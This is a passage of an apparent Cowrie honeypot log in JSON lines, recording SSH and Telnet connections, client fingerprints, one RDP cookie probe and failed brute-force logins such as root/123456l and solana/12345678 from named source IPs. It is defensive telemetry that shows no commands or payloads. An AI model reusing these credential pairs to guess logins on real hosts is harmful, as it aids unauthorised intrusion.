01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:13.162616Z","src_ip":"103.149.28.157","session":"8121abfd220a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"verbatim","message":"login attempt [root/verbatim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:13.900646Z","src_ip":"103.149.28.157","session":"8121abfd220a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:15.155513Z","src_ip":"103.149.28.157","session":"8121abfd220a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":58768,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d056b1200ff","protocol":"ssh","message":"New connection: 103.75.182.198:58768 (10.17.0.5:22) [session: 3d056b1200ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:27.774496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:27.779732Z","src_ip":"103.75.182.198","session":"3d056b1200ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:28.029140Z","src_ip":"103.75.182.198","session":"3d056b1200ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456l","message":"login attempt [root/123456l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:28.754436Z","src_ip":"103.75.182.198","session":"3d056b1200ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:29.998890Z","src_ip":"103.75.182.198","session":"3d056b1200ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":52268,"dst_ip":"159.203.135.109","dst_port":22,"session":"297172e33199","protocol":"ssh","message":"New connection: 87.251.79.125:52268 (159.203.135.109:22) [session: 297172e33199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:39.047764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:39.052484Z","src_ip":"87.251.79.125","session":"297172e33199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:39.125438Z","src_ip":"87.251.79.125","session":"297172e33199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ronaldinho","message":"login attempt [root/ronaldinho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:39.343911Z","src_ip":"87.251.79.125","session":"297172e33199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58956,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2f7d825c1fb","protocol":"ssh","message":"New connection: 80.94.92.184:58956 (159.203.135.109:22) [session: e2f7d825c1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:40.237972Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:40.421652Z","src_ip":"87.251.79.125","session":"297172e33199","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:40.524993Z","src_ip":"80.94.92.184","session":"e2f7d825c1fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:40.528225Z","src_ip":"80.94.92.184","session":"e2f7d825c1fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:42.047852Z","src_ip":"80.94.92.184","session":"e2f7d825c1fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:43.597486Z","src_ip":"80.94.92.184","session":"e2f7d825c1fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":55528,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c1afaf20185","protocol":"ssh","message":"New connection: 43.156.2.226:55528 (159.203.135.109:22) [session: 2c1afaf20185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:41:10.859134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:41:10.863668Z","src_ip":"43.156.2.226","session":"2c1afaf20185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:41:11.108289Z","src_ip":"43.156.2.226","session":"2c1afaf20185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd2026","message":"login attempt [root/Abcd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:41:12.117117Z","src_ip":"43.156.2.226","session":"2c1afaf20185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:41:13.364731Z","src_ip":"43.156.2.226","session":"2c1afaf20185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56288,"dst_ip":"159.203.135.109","dst_port":22,"session":"e95e39b0335b","protocol":"ssh","message":"New connection: 152.42.212.128:56288 (159.203.135.109:22) [session: e95e39b0335b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:41:45.345691Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:41:45.408476Z","src_ip":"152.42.212.128","session":"e95e39b0335b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:41:45.411412Z","src_ip":"152.42.212.128","session":"e95e39b0335b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.149.226.228","src_port":45144,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb0b01ecf60b","protocol":"telnet","message":"New connection: 141.149.226.228:45144 (10.17.0.5:23) [session: eb0b01ecf60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:41:58.501361Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33422,"dst_ip":"159.203.135.109","dst_port":22,"session":"71c29450df0b","protocol":"ssh","message":"New connection: 80.94.92.184:33422 (159.203.135.109:22) [session: 71c29450df0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:42:32.055586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:42:32.128702Z","src_ip":"80.94.92.184","session":"71c29450df0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:42:32.577767Z","src_ip":"80.94.92.184","session":"71c29450df0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890","message":"login attempt [solana/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:42:33.005787Z","src_ip":"80.94.92.184","session":"71c29450df0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:42:34.157151Z","src_ip":"80.94.92.184","session":"71c29450df0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":35722,"dst_ip":"159.203.135.109","dst_port":22,"session":"1af8dfb0d1ab","protocol":"ssh","message":"New connection: 103.98.149.87:35722 (159.203.135.109:22) [session: 1af8dfb0d1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:42:51.141549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:42:51.161827Z","src_ip":"103.98.149.87","session":"1af8dfb0d1ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:42:51.369427Z","src_ip":"103.98.149.87","session":"1af8dfb0d1ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"906090","message":"login attempt [root/906090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:42:52.429970Z","src_ip":"103.98.149.87","session":"1af8dfb0d1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:42:53.683341Z","src_ip":"103.98.149.87","session":"1af8dfb0d1ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":50296,"dst_ip":"159.203.135.109","dst_port":22,"session":"76575e003629","protocol":"ssh","message":"New connection: 103.27.238.120:50296 (159.203.135.109:22) [session: 76575e003629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:14.640460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:14.645587Z","src_ip":"103.27.238.120","session":"76575e003629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:14.905012Z","src_ip":"103.27.238.120","session":"76575e003629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pioneer","message":"login attempt [root/pioneer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:15.685535Z","src_ip":"103.27.238.120","session":"76575e003629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":55224,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bc179be9bdf","protocol":"ssh","message":"New connection: 213.209.159.56:55224 (10.17.0.5:22) [session: 5bc179be9bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:16.069827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:16.075238Z","src_ip":"213.209.159.56","session":"5bc179be9bdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hma